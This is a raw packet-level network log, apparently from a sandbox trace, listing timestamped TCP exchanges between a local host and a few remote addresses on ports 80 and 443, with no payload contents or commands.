Nov 30, 2024 04:12:28.790541887 CET	49758	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.790580034 CET	443	49758	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.790616035 CET	49757	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.790637016 CET	443	49757	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.790693998 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.790705919 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.790715933 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.790726900 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.790738106 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.790738106 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.790741920 CET	49758	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.790765047 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.791126966 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.791138887 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.791223049 CET	49758	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.791234970 CET	443	49758	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.791241884 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.791253090 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.791258097 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.791264057 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.791264057 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.791269064 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.791280985 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.791290998 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.791305065 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.791327000 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.791332960 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.791332960 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.791817904 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.792215109 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.792227983 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.792237997 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.792249918 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.792260885 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.792272091 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.792275906 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.792283058 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.792294025 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.792304039 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.792308092 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.792315006 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.792320967 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.792326927 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.792341948 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.793098927 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.793114901 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.793124914 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.793126106 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.793143034 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.793154001 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.793165922 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.793175936 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.793183088 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.793189049 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.793198109 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.793200016 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.793210983 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.793216944 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.793220997 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.793251038 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.793577909 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.793577909 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.794028044 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.794049025 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.794064999 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.794083118 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.794092894 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.794105053 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.794121027 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.794121027 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.794298887 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.794298887 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.794328928 CET	443	49754	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.794392109 CET	443	49754	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.795950890 CET	49754	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.795950890 CET	49754	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.797852993 CET	49754	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.797856092 CET	49759	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.797868013 CET	443	49754	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.797890902 CET	443	49759	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.799942970 CET	49759	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.799942970 CET	49759	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.799993038 CET	443	49759	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.811629057 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.811709881 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.812087059 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.812117100 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.812452078 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.812535048 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.812557936 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.813276052 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.813328028 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.813343048 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.814213991 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.814271927 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.814310074 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.815157890 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.815210104 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.815254927 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.816121101 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.816224098 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.817102909 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.817126036 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.817205906 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.817303896 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.818033934 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.818089962 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.818145037 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.818996906 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.819048882 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.819082975 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.819957972 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.820063114 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.820509911 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.820928097 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.820986032 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.821118116 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.821877003 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.821932077 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.821966887 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.822834969 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.822880030 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.822946072 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.823787928 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.823853016 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.823888063 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.824757099 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.824851990 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.825299978 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.825699091 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.825757027 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.825812101 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.826663971 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.826713085 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.826751947 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.883775949 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.899749994 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.899770021 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.899859905 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.900136948 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.900248051 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.900371075 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.901097059 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.901210070 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.901350021 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.902059078 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.902156115 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.902246952 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.903002977 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.903115988 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.903971910 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.904000998 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.904076099 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.904963970 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.905067921 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.905093908 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.905889034 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.906011105 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.906022072 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.906888962 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.907013893 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.907041073 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.907104969 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.907819986 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.907854080 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.908802032 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.908891916 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.908915997 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.909756899 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.909784079 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.909871101 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.910686970 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.910712957 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.910788059 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.911664963 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.911690950 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.911761999 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.912610054 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.912719011 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.912951946 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.913549900 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.913656950 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.913749933 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.914491892 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.914725065 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.914836884 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.915473938 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.915575981 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.915656090 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.916425943 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.916541100 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.916646004 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.917397022 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.917505026 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.918349028 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.918524981 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.918548107 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.918785095 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.919305086 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.919414043 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.919909954 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.920267105 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.920339108 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.920449972 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.921226025 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.921330929 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.921425104 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.922199011 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.922300100 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.923125982 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.923247099 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.923768044 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.924115896 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.924217939 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.925055027 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.925076962 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.925162077 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.925833941 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.926028013 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.926129103 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.926995039 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.927108049 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.927134991 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.927845955 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.927923918 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.928036928 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.928354979 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.928913116 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.929028988 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.929864883 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.929977894 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.929999113 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.930850983 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.931005001 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.931030989 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.931113958 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.931793928 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.931890965 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.932720900 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.932823896 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.932851076 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.933118105 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.983870983 CET	49760	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:28.983937979 CET	443	49760	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:28.983999014 CET	49760	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:28.984591007 CET	49760	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:28.984605074 CET	443	49760	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:29.013088942 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.013127089 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.013185024 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.013374090 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.013571024 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.013605118 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.013609886 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.014596939 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.014637947 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.014663935 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.015491962 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.015527964 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.015554905 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.016464949 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.016505957 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.016542912 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.017425060 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.017492056 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.017515898 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.018364906 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.018415928 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.018460035 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.019351959 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.019402027 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.019423962 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.020267010 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.020313025 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.020385027 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.021248102 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.021292925 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.021364927 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.022211075 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.022281885 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.022304058 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.023170948 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.023266077 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.023268938 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.024146080 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.024187088 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.024243116 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.025170088 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.025223017 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.025286913 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.026042938 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.026092052 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.026156902 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.027007103 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.027044058 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.027093887 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.027966022 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.028007030 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.028048992 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.028922081 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.028965950 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.029014111 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.029871941 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.029906988 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.029948950 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.030834913 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.030880928 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.030926943 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.031780005 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.031861067 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.031889915 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.032778978 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.032818079 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.032871962 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.033689022 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.033724070 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.033788919 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.034674883 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.034708977 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.034768105 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.035612106 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.035655022 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.035701990 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.036600113 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.036643982 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.036727905 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.037544012 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.037589073 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.037643909 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.038506985 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.038552999 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.038628101 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.039462090 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.039499998 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.039592028 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.040446043 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.040491104 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.040570021 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.041382074 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.041424036 CET	49745	80	192.168.2.6	185.215.113.16
